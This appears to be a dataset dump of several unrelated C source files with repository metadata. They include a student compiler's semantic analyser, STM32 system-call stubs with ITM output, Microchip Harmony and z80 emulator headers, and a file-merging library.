annoteTree(root->child->sibling, symTab, auxSymTab);
if(root->child->sibling && (strcmp(root->child->type, "undef") == 0 || strcmp(root->child->sibling->type, "undef") == 0)) {
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
if(strncmp(root->tag, "BitWise", 7) == 0)
root->type = strdup("undef");
}
else if(root->child->sibling && ((strcmp(root->child->type, "double") == 0 || strcmp(root->child->sibling->type, "double") == 0) || checkIfFunction(root->child->type) || checkIfFunction(root->child->sibling->type))) {
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
}
else if(strcmp(root->child->type, "undef") == 0 || strcmp(root->child->type, "double") == 0 || checkIfFunction(root->child->type)) {
operatorApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type);
}
if(!root->type)
root->type = strdup("int");
}
else if(checkIfLogicalOperation(root->tag)) {
annoteTree(root->child, symTab, auxSymTab);
annoteTree(root->child->sibling, symTab, auxSymTab);
if(root->child->sibling && ((strcmp(root->child->type, "undef") == 0 || strcmp(root->child->sibling->type, "undef") == 0) || checkIfFunction(root->child->type) || checkIfFunction(root->child->sibling->type))) {
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
}
else if(strcmp(root->child->type, "undef") == 0 || checkIfFunction(root->child->type)) {
operatorApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type);
}
if(!root->type)
root->type = strdup("int");
}
else if(strcmp(root->tag, "If") == 0 || strcmp(root->tag, "While") == 0) {
annoteTree(root->child, symTab, auxSymTab);
if(strcmp(root->child->type, "undef") == 0 || strcmp(root->child->type, "double") == 0 || checkIfFunction(root->child->type)) {
conflictingTypes(root->child->pos[0], root->child->pos[1], root->child->type, "int");
}
}
else if(strcmp(root->tag, "Return") == 0) {
annoteTree(root->child, symTab, auxSymTab);
checkReturn(root, root->child->type, auxSymTab);
}
else {
root->type = checkVarType(root->tag);
}
}
}
void analiseStore(node root) {
/*while(root->child && checkIfOperation(root->child->tag)) {
root = root->child;
}*/
if(!checkIfId(root->child->tag)) { //verifica se nao e id onde vamos guardar
lValue(root->child->pos[0], root->child->pos[1]);
return;
}
else if(validateConversion(root)) { // <-- mal muito mal
return;
}
else {
return;
}
}
void analiseFuncCall(node root, char* id, gTable symTab) { //verifica validade de uma call
int got = 0;
int expected = getFunctionNrParams(symTab, removeId(id));
node aux = root->sibling;
while(aux) { //verifica quantos argumentos recebeu
got++;
aux = aux->sibling;
}
if(got != expected) {
wrongArguments(root->pos[0], root->pos[1], removeId(root->tag), got, expected);
return;
}
int rem;
aux = root->sibling;
char* token = NULL;
char* aux1 = NULL;
char* params = strdup(root->type);
rem = strlen(checkVarType(params));
aux1 = (char*)malloc((strlen(params) + 1) * sizeof(char));
strncpy(aux1, params + rem + 1, strlen(params) - 2);
*(aux1 + strlen(params) - rem - 2) = '\0';
token = strtok(aux1, ",");
while(token && aux) {
if((strcmp(aux->type, "double") == 0 && strcmp("double", token) != 0)
|| (strcmp(aux->type, "void") == 0 && strcmp("void", token) != 0)) {
if(strcmp(aux->tag, "Call") == 0) {
conflictingTypes(aux->child->pos[0], aux->child->pos[1], aux->type, token);
}
else
conflictingTypes(aux->pos[0], aux->pos[1], aux->type, token);
}
token = strtok(NULL, ",");
aux = aux->sibling;
}
free(aux1);
}
int analiseFuncId(node root, char* id, gTable symTab) { //verifica se id e uma funcao e retorna 0 e anota se for
char* aux;
aux = removeId(id);
while(symTab) {
if(strcmp(symTab->tag, aux) == 0) {
if(symTab->params) { //como tem parametros e uma funcao
if(!root->type) //anota se nao tiver sido anotada anteriormente
root->type = annoteFuncParams(symTab);
return 0;
}
else { //nao tem parametros e uma variavel
free(aux);
return 1;
}
}
symTab = symTab->next;
}
free(aux);
return 1;
}
void analiseVarId(node root, gTable symTab, table auxSymTab) { //procura declaracao de variavel
char* aux;
aux = removeId(root->tag);
while(auxSymTab) {
if(strcmp(auxSymTab->tag, aux) == 0) {
root->type = strdup(auxSymTab->type);
free(aux);
return;
}
auxSymTab = auxSymTab->next;
}
while(symTab) {
if(strcmp(symTab->tag, aux) == 0) {
if(symTab->params)
root->type = annoteFuncParams(symTab);
else
root->type = strdup(symTab->type);
free(aux);
return;
}
symTab = symTab->next;
}
free(aux);
//id nao declarado
unknownSymbol(root->pos[0], root->pos[1], removeId(root->tag)); //erro unknown symbol
root->type = strdup("undef"); //anota o no como undef
}
char* annoteFuncParams(gTable symTab) { //anota parametros de uma funcao
char* aux;
table auxParam = symTab->params;
aux = (char*)malloc((strlen(symTab->type) + 2) * sizeof(char));
sprintf(aux, "%s(", symTab->type);
while(auxParam) {
aux = (char*)realloc(aux, (strlen(aux) + strlen(auxParam->type) + 4) * sizeof(char));
if(auxParam->next) {
sprintf(aux, "%s%s,", aux, auxParam->type);
}
else {
sprintf(aux, "%s%s", aux, auxParam->type);
}
auxParam = auxParam->next;
}
sprintf(aux, "%s)", aux);
return aux;
}
int checkIfOperation(char* string) {
if((strcmp(string, "Mul") == 0) || (strcmp(string, "Add") == 0)
|| (strcmp(string, "Sub") == 0) || (strcmp(string, "Minus") == 0)
|| (strcmp(string, "Div") == 0) || (strcmp(string, "Plus") == 0)
|| (strcmp(string, "Comma") == 0)) {
return 1;
}
else {
return 0;
}
}
void checkOperationType(node root, gTable symTab, table auxSymTable) { //verifica tipo de operacao
char* aux1 = NULL;
char* aux2 = NULL;
aux1 = checkVarType(root->child->type);
if(!aux1)
return;
if(root->child->sibling) {
aux2 = checkVarType(root->child->sibling->type);
if(!aux2)
return;
if (strcmp(aux1, "undef") == 0 || strcmp(aux2, "undef") == 0) {
root->type = strdup("undef");
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
}
else if(checkIfFunction(root->child->type) || checkIfFunction(root->child->sibling->type)) {
root->type = strdup("undef");
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type, root->child->sibling->type);
}
else if((strcmp(root->tag, "Comma") == 0)) {
root->type = strdup(aux2);
}
else if(strcmp(aux1, "double") == 0 || strcmp(aux2, "double") == 0) {
root->type = strdup("double");
}
else if (strcmp(aux1, "int") == 0 || strcmp(aux2, "int") == 0) {
root->type = strdup("int");
}
else if (strcmp(aux1, "short") == 0 || strcmp(aux2, "short") == 0) {
root->type = strdup("short");
}
else {
root->type = strdup("char");
}
}
else { //operadores unarios
if(strcmp(root->child->type, "undef") == 0 || checkIfFunction(root->child->type)) {
root->type = strdup("undef");
operatorApplication(root->pos[0], root->pos[1], getOperator(root->tag), root->child->type);
}
else
root->type = strdup(aux1);
}
free(aux1);
free(aux2);
}
int checkIfLogicalOperation(char* string) {
if((strcmp(string, "Ge") == 0) || (strcmp(string, "Eq") == 0)
|| (strcmp(string, "Ne") == 0) || (strcmp(string, "Lt") == 0)
|| (strcmp(string, "Gt") == 0) || (strcmp(string, "Le") == 0)) {
return 1;
}
else {
return 0;
}
}
int checkIfSpecialLogicalOperation(char* string) {
if((strcmp(string, "And") == 0) || (strcmp(string, "Or") == 0)
|| (strcmp(string, "Not") == 0) || (strcmp(string, "Mod") == 0)
|| (strcmp(string, "BitWiseOr") == 0)
|| (strcmp(string, "BitWiseXor") == 0) || (strcmp(string, "BitWiseAnd") == 0)) {
return 1;
}
else {
return 0;
}
}
int checkIfId(char* string) { //verifica se e uma id 1 se for 0 se nao for
if(strncmp(string, "Id", 2) == 0) {
return 1;
}
return 0;
}
void printAnnotedTree(node root, int level) {
int aux;
if(root == NULL) {
return;
}
else {
for(aux = 0; aux < level; aux++) {
printf("..");
}
if(root->type) {
printf("%s - %s\n", root->tag, root->type);
}
else {
printf("%s\n", root->tag);
}
}
printAnnotedTree(root->child, level + 1);
printAnnotedTree(root->sibling, level);
free(root->tag);
free(root->type);
free(root->child);
free(root->sibling);
}
int getFunctionNrParams(gTable symTab, char* funcName) { //retorna quantos parametros uma funcao espera receber
int aux = 0; //variavel para conter nr de parametros esperados
table aux1 = NULL;
while(symTab) {
if(strcmp(symTab->tag, funcName) == 0) {
aux1 = symTab->params;
while(aux1) {
if(strcmp(aux1->type, "void") != 0)
aux++;
aux1 = aux1->next;
}
return aux;
}
symTab = symTab->next;
}
return aux;
}
char* getOperator(char* operatorTag) {
char* aux = NULL;
if(strcmp(operatorTag, "Comma") == 0) {
aux = strdup(",");
}
else if(strcmp(operatorTag, "Plus") == 0 || strcmp(operatorTag, "Add") == 0) {
aux = strdup("+");
}
else if(strcmp(operatorTag, "Minus") == 0 || strcmp(operatorTag, "Sub") == 0) {
aux = strdup("-");
}
else if(strcmp(operatorTag, "Div") == 0) {
aux = strdup("/");
}
else if(strcmp(operatorTag, "Mod") == 0) {
aux = strdup("%");
}
else if(strcmp(operatorTag, "Not") == 0) {
aux = strdup("!");
}
else if(strcmp(operatorTag, "Mul") == 0) {
aux = strdup("*");
}
else if(strcmp(operatorTag, "BitWiseOr") == 0) {
aux = strdup("|");
}
else if(strcmp(operatorTag, "BitWiseXor") == 0) {
aux = strdup("^");
}
else if(strcmp(operatorTag, "BitWiseAnd") == 0) {
aux = strdup("&");
}
else if(strcmp(operatorTag, "And") == 0) {
aux = strdup("&&");
}
else if(strcmp(operatorTag, "Or") == 0) {
aux = strdup("||");
}
else if(strcmp(operatorTag, "Eq") == 0) {
aux = strdup("==");
}
else if(strcmp(operatorTag, "Gt") == 0) {
aux = strdup(">");
}
else if(strcmp(operatorTag, "Lt") == 0) {
aux = strdup("<");
}
else if(strcmp(operatorTag, "Ge") == 0) {
aux = strdup(">=");
}
else if(strcmp(operatorTag, "Le") == 0) {
aux = strdup("<=");
}
else if(strcmp(operatorTag, "Ne") == 0) {
aux = strdup("!=");
}
else if(strcmp(operatorTag, "Store") == 0) {
aux = strdup("=");
}
return aux;
}
int validateConversion(node root) { //verifica se uma conversao e valida
if(strcmp(root->child->sibling->type, "double") == 0 && strcmp(root->child->type, "double") != 0) {
operatorsApplication(root->pos[0], root->pos[1], getOperator(root->tag), lowerCase(root->child->type), lowerCase(root->child->sibling->type));
return 1;
}
else {
return 0;
}
}
int checkIfFunction(char* type) {
if(strlen(type) > 6) {
return 1;
}
return 0;
}
void checkReturn(node root, char* got, table symTab) {
char* expected = NULL;
if(!got)
got = strdup("void");
while(symTab) {
if(strcmp(symTab->tag, "return") == 0) {
expected = strdup(symTab->type);
break;
}
symTab = symTab->next;
}
if(checkIfFunction(got) || (strcmp(got, "double") == 0 && strcmp(expected, "double") != 0) || (strcmp(got, "void") != 0 && strcmp(expected, "void") == 0)) {
conflictingTypes(root->child->pos[0], root->child->pos[1], got, expected);
}
else if(strcmp(got, "void") == 0 && strcmp(expected, "void") != 0) {
conflictingTypes(root->pos[0], root->pos[1], got, expected);
}
}
| [
"jojomarques96@gmail.com"
] | jojomarques96@gmail.com |
f23962808ff50139329904c9b9908b92c2ff141b | 3dae53692c7fab9557ae36af61e6d0d850f0b133 | /TargetWorkspace/001_HelloWorld/Src/syscalls.c | 363a24514d20b7d8c71e3087ef410e8cfffb36be | [
"MIT"
] | permissive | nemanjadjekic/Embedded-C | c7b729943636b93257b0d3cc946e15e0a790a12e | 9d6b6231edf70c858a6c825b2400a6e583ba76fd | refs/heads/master | 2021-05-17T14:15:35.881695 | 2020-12-21T15:13:35 | 2020-12-21T15:13:35 | 250,815,564 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,735 | c | /**
******************************************************************************
* @file syscalls.c
* @author Auto-generated by STM32CubeIDE
* @brief STM32CubeIDE Minimal System calls file
*
* For more information about which c-functions
* need which of these lowlevel functions
* please consult the Newlib libc-manual
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2020 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* Includes */
#include <sys/stat.h>
#include <stdlib.h>
#include <errno.h>
#include <stdio.h>
#include <signal.h>
#include <time.h>
#include <sys/time.h>
#include <sys/times.h>
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// Implementation of printf like feature using ARM Cortex M3/M4/ ITM functionality
// This function will not work for ARM Cortex M0/M0+
// If you are using Cortex M0, then you can use semihosting feature of openOCD
/////////////////////////////////////////////////////////////////////////////////////////////////////////
//Debug Exception and Monitor Control Register base address
#define DEMCR *((volatile uint32_t*) 0xE000EDFCU )
/* ITM register addresses */
#define ITM_STIMULUS_PORT0 *((volatile uint32_t*) 0xE0000000 )
#define ITM_TRACE_EN *((volatile uint32_t*) 0xE0000E00 )
void ITM_SendChar(uint8_t ch)
{
//Enable TRCENA
DEMCR |= ( 1 << 24);
//enable stimulus port 0
ITM_TRACE_EN |= ( 1 << 0);
// read FIFO status in bit [0]:
while(!(ITM_STIMULUS_PORT0 & 1));
//Write to ITM stimulus port0
ITM_STIMULUS_PORT0 = ch;
}
/* End of implementation ITM */
/* Variables */
//#undef errno
extern int errno;
extern int __io_putchar(int ch) __attribute__((weak));
extern int __io_getchar(void) __attribute__((weak));
register char * stack_ptr asm("sp");
char *__env[1] = { 0 };
char **environ = __env;
/* Functions */
void initialise_monitor_handles()
{
}
int _getpid(void)
{
return 1;
}
int _kill(int pid, int sig)
{
errno = EINVAL;
return -1;
}
void _exit (int status)
{
_kill(status, -1);
while (1) {} /* Make sure we hang here */
}
__attribute__((weak)) int _read(int file, char *ptr, int len)
{
int DataIdx;
for (DataIdx = 0; DataIdx < len; DataIdx++)
{
*ptr++ = __io_getchar();
}
return len;
}
__attribute__((weak)) int _write(int file, char *ptr, int len)
{
int DataIdx;
for (DataIdx = 0; DataIdx < len; DataIdx++)
{
//__io_putchar(*ptr++);
ITM_SendChar(*ptr++);
}
return len;
}
int _close(int file)
{
return -1;
}
int _fstat(int file, struct stat *st)
{
st->st_mode = S_IFCHR;
return 0;
}
int _isatty(int file)
{
return 1;
}
int _lseek(int file, int ptr, int dir)
{
return 0;
}
int _open(char *path, int flags, ...)
{
/* Pretend like we always fail */
return -1;
}
int _wait(int *status)
{
errno = ECHILD;
return -1;
}
int _unlink(char *name)
{
errno = ENOENT;
return -1;
}
int _times(struct tms *buf)
{
return -1;
}
int _stat(char *file, struct stat *st)
{
st->st_mode = S_IFCHR;
return 0;
}
int _link(char *old, char *new)
{
errno = EMLINK;
return -1;
}
int _fork(void)
{
errno = EAGAIN;
return -1;
}
int _execve(char *name, char **argv, char **env)
{
errno = ENOMEM;
return -1;
}
| [
"nemanjadjekic93@gmail.com"
] | nemanjadjekic93@gmail.com |
b3d9a5bb5f0b6a80fb9d2ecee6f46d38e4d2771a | dee428ff6e4802a7a448cba79fa1f67af01942c0 | /Supplementary/c_language_test/main.c | 419f22a11dda838d8b263fd049772004b5d93528 | [
"MIT"
] | permissive | zweed4u/Real-Time-and-Embedded-Systems | 82956264f1d58fd089f5105a87ab834270b9534d | f0635bf051e805741ea9e0064bd645cc8c0f01e9 | refs/heads/master | 2021-05-01T01:56:19.644778 | 2017-05-16T22:40:39 | 2017-05-16T22:40:39 | 79,859,397 | 0 | 2 | null | null | null | null | UTF-8 | C | false | false | 479 | c | // C language self test
// SWEN-563
// Larry Kiser Jan. 30, 2017
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "c_language_test.h"
#include "unit_tests.h"
// Run the unit tests or as a "normal program".
int main( int argc, char *argv[] ) {
// Execute unit tests if program name contains "test".
if ( strstr( argv[0], "test" ) )
return test() ;
printf( "\nDoes nothing -- please run unit tests instead.\n\n" ) ;
return 0 ;
}
| [
"zdw7287@rit.edu"
] | zdw7287@rit.edu |
844cb45d5de73f8dc0ee969b512a6d7f6983a1e6 | cb3fb35e330bbd275f0341631205c8d38f14037a | /ios/Pods/Headers/Public/RNGoogleSignin/RNGoogleSignInButton.h | 6482fbe4b599bdf71c4a1eeb3143312336aeae1b | [
"MIT"
] | permissive | 7kfpun/JapaneseReactNative | 4e72929ea10313bbdcaff044fe2edb8ae57c2a74 | 0f764f5f4a9878a4c6ec784b7e7915250fed47dd | refs/heads/master | 2022-12-09T19:48:32.558607 | 2019-09-14T07:46:09 | 2019-09-14T07:49:17 | 123,300,387 | 11 | 7 | MIT | 2022-12-09T08:27:56 | 2018-02-28T14:59:42 | JavaScript | UTF-8 | C | false | false | 96 | h | ../../../../../node_modules/react-native-google-signin/ios/RNGoogleSignin/RNGoogleSignInButton.h | [
"7kfpun@gmail.com"
] | 7kfpun@gmail.com |
8f3a9ea693d3692e5d057d8b1759257bb64fb09e | fd26af694f6451d625dc418bd05a617271763292 | /code/z80/z80user.h | 2d9a00f8e5ddad4acc732dbfacb9bd885fe35097 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | yamori813/cpm8266 | 49606885fff822c20f6f21c534e5b8b7c0c8ffea | 5a64c89dbb3a0171befa9870ded5b206b4251ef2 | refs/heads/master | 2020-06-08T22:26:21.990534 | 2019-06-25T09:17:39 | 2019-06-25T09:17:39 | 193,317,631 | 0 | 0 | MIT | 2019-06-23T07:12:20 | 2019-06-23T07:12:20 | null | UTF-8 | C | false | false | 5,851 | h | /* z80user.h
* Add your code here to interface the emulated system with z80emu. See towards
* the end of the file for an example for running zextest.
*
* Copyright (c) 2016 Lin Ke-Fong
*
* This code is free, do whatever you want with it.
*/
#ifndef __Z80USER_INCLUDED__
#define __Z80USER_INCLUDED__
#ifdef __cplusplus
extern "C" {
#endif
/* Write the following macros for memory access and input/output on the Z80.
*
* Z80_FETCH_BYTE() and Z80_FETCH_WORD() are used by the emulator to read the
* code (opcode, constants, displacement, etc). The upper 16-bit of the address
* parameters is undefined and must be reset to zero before actually reading
* memory (use & 0xffff). The value x read, must be an unsigned 8-bit or 16-bit
* value in the endianness of the host processor.
*
* Z80_READ_BYTE(), Z80_WRITE_BYTE(), Z80_READ_WORD(), and Z80_WRITE_WORD()
* are used for general memory access. They obey the same rules as the code
* reading macros. The upper bits of the value x to write may be non-zero.
* Z80_WRITE_WORD_INTERRUPT() is same as Z80_WRITE_WORD(), except it is only
* used for interrupt generation.
*
* Z80_INPUT_BYTE() and Z80_OUTPUT_BYTE() are for input and output. The upper
* bits of the port number to read or write are always zero. The input byte x
* must be an unsigned 8-bit value. The value x to write is an unsigned 8-bit
* with its upper bits zeroed.
*
* All macros have access to the following three variables:
*
* state Pointer to the current Z80_STATE. Because the
* instruction is currently executing, its members may not
* be fully up to date, depending on when the macro is
* called in the process. It is rather suggested to access
* the state only when the emulator is stopped.
*
* elapsed_cycles Number of cycles emulated. If needed, you may add wait
* states to it for slow memory accesses. Because the
* macros are called during the execution of the current
* instruction, this number is only precise up to the
* previous one.
*
* context This is the (void *) context passed to the emulation
* functions.
*
* Except for Z80_WRITE_WORD_INTERRUPT, all macros also have access to:
*
* number_cycles Number of cycles to emulate. After executing each
* instruction, the emulator checks if elapsed_cycles is
* greater or equal to number_cycles, and will stops if
* so. Hence you may decrease or increase the value of
* number_cycles to stop the emulation earlier or later.
* In particular, if you set it to zero, the emulator will
* stop after completion of the current instruction.
*
* registers Current register decoding table, use it to determine if
* the current instruction is prefixed. It points on:
*
* state->dd_register_table for 0xdd prefixes;
* state->fd_register_table for 0xfd prefixes;
* state->register_table otherwise.
*
* pc Current PC register (upper bits are undefined), points
* on the opcode, the displacement or constant to read for
* Z80_FETCH_BYTE() and Z80_FETCH_WORD(), or on the next
* instruction otherwise.
*
* Except for Z80_FETCH_BYTE(), Z80_FETCH_WORD(), and Z80_WRITE_WORD_INTERRUPT,
* all other macros can know which instruction is currently executing:
*
* opcode Opcode of the currently executing instruction.
*
* instruction Type of the currently executing instruction, see
* instructions.h for a list.
*/
/* Read/write memory macros are written for a linear 64k RAM. Input/output
* port macros are used as "traps" to simulate system calls.
*/
//#ifndef CPMMEMORY
// #define CPMMEMORY 64
//#endif
typedef struct MACHINE {
int is_done;
Z80_STATE state;
unsigned char memory[CPMMEMORY];
} MACHINE;
extern void SystemCall(MACHINE *m, int opcode, int val, int inst);
#define Z80_READ_BYTE(address, x) \
{ (x) = ((MACHINE *)context)->memory[(address)&0xffff]; }
#define Z80_FETCH_BYTE(address, x) \
{ Z80_READ_BYTE((address), (x)) }
#define Z80_READ_WORD(address, x) \
{ \
unsigned char *memory; \
memory = ((MACHINE *)context)->memory; \
(x) = memory[(address)&0xffff] | (memory[((address) + 1) & 0xffff] << 8); \
}
#define Z80_FETCH_WORD(address, x) \
{ Z80_READ_WORD((address), (x)) }
#define Z80_WRITE_BYTE(address, x) \
{ ((MACHINE *)context)->memory[(address)&0xffff] = (x); }
#define Z80_WRITE_WORD(address, x) \
{ \
unsigned char *memory; \
memory = ((MACHINE *)context)->memory; \
memory[(address)&0xffff] = (x); \
memory[((address) + 1) & 0xffff] = (x) >> 8; \
}
#define Z80_WRITE_WORD_INTERRUPT(address, x) \
{ Z80_WRITE_WORD((address), (x)) }
#define Z80_INPUT_BYTE(port, x) \
{ SystemCall((MACHINE *)context, opcode, x, instruction); }
#define Z80_OUTPUT_BYTE(port, x) \
{ SystemCall((MACHINE *)context, opcode, x, instruction); }
// ((MACHINE *)context)->is_done = !0;
#ifdef __cplusplus
}
#endif
#endif
| [
"mats.engstrom@gmail.com"
] | mats.engstrom@gmail.com |
69aaabd26dc99f9d8cfa11b27b27dd7e5aae5120 | c8d7054d051cbd052f6cdc7bc1bfcc7ef4fac6d8 | /firmware/src/system_config/boostv1/system_definitions.h | 7b223adf5523c20efd427d3d4f8c7175804b8c73 | [] | no_license | hjph/BoostGitHub | 20d832a83f9ff5bc3f0e01829ab573f06259a244 | d9a604e8d3ef3736bdc7ed923b77f99d6b5db0b5 | refs/heads/master | 2021-01-10T10:01:56.340081 | 2015-11-26T01:26:53 | 2015-11-26T01:26:53 | 46,897,100 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,765 | h | /*******************************************************************************
System Definitions
File Name:
system_definitions.h
Summary:
MPLAB Harmony project system definitions.
Description:
This file contains the system-wide prototypes and definitions for an MPLAB
Harmony project.
*******************************************************************************/
//DOM-IGNORE-BEGIN
/*******************************************************************************
Copyright (c) 2013-2014 released Microchip Technology Inc. All rights reserved.
Microchip licenses to you the right to use, modify, copy and distribute
Software only when embedded on a Microchip microcontroller or digital signal
controller that is integrated into your product or third party product
(pursuant to the sublicense terms in the accompanying license agreement).
You should refer to the license agreement accompanying this Software for
additional information regarding your rights and obligations.
SOFTWARE AND DOCUMENTATION ARE PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND,
EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF
MERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
IN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER
CONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR
OTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES
INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT, PUNITIVE OR
CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF
SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, OR ANY CLAIMS BY THIRD PARTIES
(INCLUDING BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.
*******************************************************************************/
//DOM-IGNORE-END
#ifndef _SYS_DEFINITIONS_H
#define _SYS_DEFINITIONS_H
// *****************************************************************************
// *****************************************************************************
// Section: Included Files
// *****************************************************************************
// *****************************************************************************
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include "system/common/sys_common.h"
#include "system/common/sys_module.h"
#include "system/clk/sys_clk.h"
#include "system/clk/sys_clk_static.h"
#include "system/devcon/sys_devcon.h"
#include "system/int/sys_int.h"
#include "system/dma/sys_dma.h"
#include "system/tmr/sys_tmr.h"
#include "driver/adc/drv_adc.h"
#include "driver/tmr/drv_tmr.h"
#include "framework/driver/pmp/drv_pmp_static.h"
#include "driver/i2c/drv_i2c_static.h"
#include "system/ports/sys_ports.h"
#include "gfx/gfx.h"
#include "driver/gfx/controller/lcc/drv_gfx_lcc.h"
#include "system/touch/sys_touch.h"
#include "driver/touch/adc10bit/drv_adc10bit.h"
#include "app.h"
// DOM-IGNORE-BEGIN
#ifdef __cplusplus // Provide C++ Compatibility
extern "C" {
#endif
// DOM-IGNORE-END
// *****************************************************************************
// *****************************************************************************
// Section: Type Definitions
// *****************************************************************************
// *****************************************************************************
// *****************************************************************************
/* System Objects
Summary:
Structure holding the system's object handles
Description:
This structure contains the object handles for all objects in the
MPLAB Harmony project's system configuration.
Remarks:
These handles are returned from the "Initialize" functions for each module
and must be passed into the "Tasks" function for each module.
*/
typedef struct
{
SYS_MODULE_OBJ sysDevcon;
SYS_MODULE_OBJ sysTmr;
SYS_MODULE_OBJ sysDma;
SYS_MODULE_OBJ drvTmr0;
SYS_MODULE_OBJ drvPMP0;
SYS_MODULE_OBJ sysTouchObject0;
SYS_MODULE_OBJ gfxObject0;
SYS_MODULE_OBJ drvAdc10bit;
} SYSTEM_OBJECTS;
// *****************************************************************************
// *****************************************************************************
// Section: extern declarations
// *****************************************************************************
// *****************************************************************************
extern SYSTEM_OBJECTS sysObj;
//DOM-IGNORE-BEGIN
#ifdef __cplusplus
}
#endif
//DOM-IGNORE-END
#endif /* _SYS_DEFINITIONS_H */
/*******************************************************************************
End of File
*/
| [
"hugoj.perezh@gmail.com"
] | hugoj.perezh@gmail.com |
8e7a6c8bc5f6a3da5525236bf9e755ff01607a49 | 6c81c16465b27f53dd675491a4bab5b94485f56a | /cw01/zad1/library.c | 16a71d3647425b34397adacf86137f082171aaad | [] | no_license | pkrucz00/SysOpy | 538755e188d64a33347c4836b46882d60919adab | 5756107b57206ec2d38127fc4e47453b502fabb4 | refs/heads/master | 2023-05-14T11:39:06.614814 | 2021-06-06T11:34:37 | 2021-06-06T11:34:37 | 352,275,802 | 0 | 2 | null | null | null | null | UTF-8 | C | false | false | 3,863 | c | #include "library.h"
main_table* create_main_table(size_t size){
main_table* table = calloc(1, sizeof(main_table));
table -> blocks = calloc(size, sizeof(block*));
table -> max_size = size;
table -> current_size = 0;
return table;
}
block* define_sequence(char *name_sequence){
block* new_block = (block*) calloc(1, sizeof(block));
char* filename1 = strtok(name_sequence, ":");
char* filename2 = strtok(NULL, "");
new_block -> file_names[0] = filename1;
new_block -> file_names[1] = filename2;
new_block -> longest_line = 0;
return new_block;
}
FILE* merge(block *block){
FILE* tmp_file = tmpfile();
if (tmp_file == NULL){
printf("Unable to create a temporary file");
exit(EXIT_FAILURE);
}
FILE *fp[2];
for (int i = 0; i < 2; i++){
fp[i] = fopen(block->file_names[i], "r");
if (fp[i] == NULL){
printf("Unable to open file %s", block->file_names[i]);
exit(EXIT_FAILURE);
}
}
char *buff = NULL;
size_t len = 0;
ssize_t read; //length of the read line
size_t size = 0; //number of read lines
int i = 0;
while ((read = getline(&buff, &len, fp[i])) != -1 ) {
if (buff[read-1] != '\n'){
strcat(buff, "\n");
}
fputs(buff, tmp_file);
if (block -> longest_line < strlen(buff) + 1) block->longest_line = strlen(buff) + 1;
size++;
i = (i+1)%2;
}
block -> size = size;
for (int i = 0; i < 2; i++){
fclose(fp[i]);
}
free(buff);
rewind(tmp_file);
return tmp_file;
}
int pin_new_block(main_table *table, block* block, FILE* tmp){
//"filling" the block
char *buff = NULL;
size_t len = 0; //length of the read line
ssize_t read;
block -> lines = calloc(block -> size, sizeof(char*));
int i = 0;
while ((read = getline(&buff, &len, tmp)) != -1 ) {
if (buff != NULL){
block->lines[i] = calloc(block->longest_line, sizeof(char));
strcpy(block->lines[i], buff);
}
i++;
}
free(buff);
fclose(tmp);
//attaching it to the table
int block_index = table -> current_size;
table -> blocks[block_index] = block;
table -> current_size += 1;
return block_index;
}
size_t no_of_lines_in_block(block* block){
return block -> size;
}
void delete_line(main_table* table, int block_ind, int ind){
block* given_block = table->blocks[block_ind];
char* line_to_be_removed = given_block->lines[ind];
for (int i = ind; i < given_block->size - 1; i++){
given_block->lines[i] = given_block->lines[i+1];
}
free(line_to_be_removed);
given_block->size -= 1;
}
void delete_block(main_table* table, int ind){
block* block_to_be_removed = table->blocks[ind];
for (int i = block_to_be_removed->size - 1; i >= 0; i--){
delete_line(table, ind, i);
}
free(block_to_be_removed->lines);
free(block_to_be_removed);
for (int i = ind; i < table->current_size - 1; i++){
table->blocks[i] = table->blocks[i+1];
}
table->current_size -= 1;
}
void delete_table(main_table* table){
for (int i = table->current_size - 1; i >= 0; i--){
delete_block(table, i);
}
free(table->blocks);
free(table);
}
void print_merged_files(main_table* table){
if (table == NULL){
printf("ERROR - table not allocated. Try \"create_table size\" first\n");
exit(EXIT_FAILURE);
}
else{
for (int i = 0; i < table->current_size; i++){
printf("Block number %d:\n", i);
block* block = table->blocks[i];
for (int j = 0; j < block->size; j++){
printf("%s", block->lines[j]);
}
printf("\n");
}
}
}
| [
"pawel.kruczkiewicz@gmail.com"
] | pawel.kruczkiewicz@gmail.com |
